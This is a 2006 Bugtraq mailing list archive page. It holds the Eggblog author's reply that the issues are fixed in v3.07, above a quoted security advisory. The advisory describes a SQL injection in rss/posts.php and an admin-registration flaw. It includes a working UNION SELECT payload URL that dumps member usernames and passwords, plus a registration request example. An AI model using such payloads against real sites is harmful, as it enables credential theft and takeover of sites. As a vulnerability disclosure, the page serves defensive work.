bugtraq - RE: Advisory: Eggblog <= 3.x Multiple Remote Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <000301c6833e$edb30020$0201a8c0@ant>
Date: Mon, 29 May 2006 17:42:52 +0100
From: "Egg" <egg@...cdesigns.co.uk>
To: "'Mustafa Can Bjorn IPEKCI'" <nukedx@...edx.com>, <submit@...w0rm.com>,
	<full-disclosure@...ts.grok.org.uk>, <bugtraq@...urityfocus.com>
Subject: RE: Advisory: Eggblog <= 3.x Multiple Remote
	Vulnerabilities


These issues have been fixed as of v3.07.

v2 is not supported and should no longer be available to download. Please
let me know if this is not the case.

Thanks,

Egg
www.eggblog.net


-----Original Message-----
From: Mustafa Can Bjorn IPEKCI [mailto:nukedx@...edx.com] 
Sent: 28 May 2006 15:01
To: submit@...w0rm.com; full-disclosure@...ts.grok.org.uk;
bugtraq@...urityfocus.com; egg@...cdesigns.co.uk
Subject: Advisory: Eggblog <= 3.x Multiple Remote Vulnerabilities

--Security Report--
Advisory: Eggblog <= 3.x Multiple Remote Vulnerabilities
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 06:15 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: Eggblog (http://www.eggblog.net/)
Version: 3.0.6 and prior versions must be affected.
About: Via this method remote attacker can inject arbitrary SQL queries to
Eggblog.This SQL injection works with Eggblog version 3.0.6 and below.The
problem is that id parameter id rss/posts.php did not sanitized properly
before using it in SQL query.This caused to remote attacker inject arbitrary
SQL queries and execute them.This SQL injection needs magic_quotes_gpc off.
There is another problem in Eggblog 2.x.In registration member register
status did not sanitized properly.This caused to remote attacker "register
new member" as a admin nick and get administration privileges on Eggblog.
Level: Critical
---
How&Example:
GET -> http://[site]/[EggBlog]/rss/posts.php?id=SQL
EXAMPLE ->
http://[site]/[EggBlog]/rss/posts.php?id=1'/**/UNION/**/SELECT/**/0,concat('
Username:%20',username),
concat('Password:%20',password)/**/from/**/eggblog_members/*
POST/EXAMPLE ->
http://[site]/[EggBlog]/home/register.php?username=victim&password=password&
email=e@...l.com&ref=
--
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=36
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=36



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/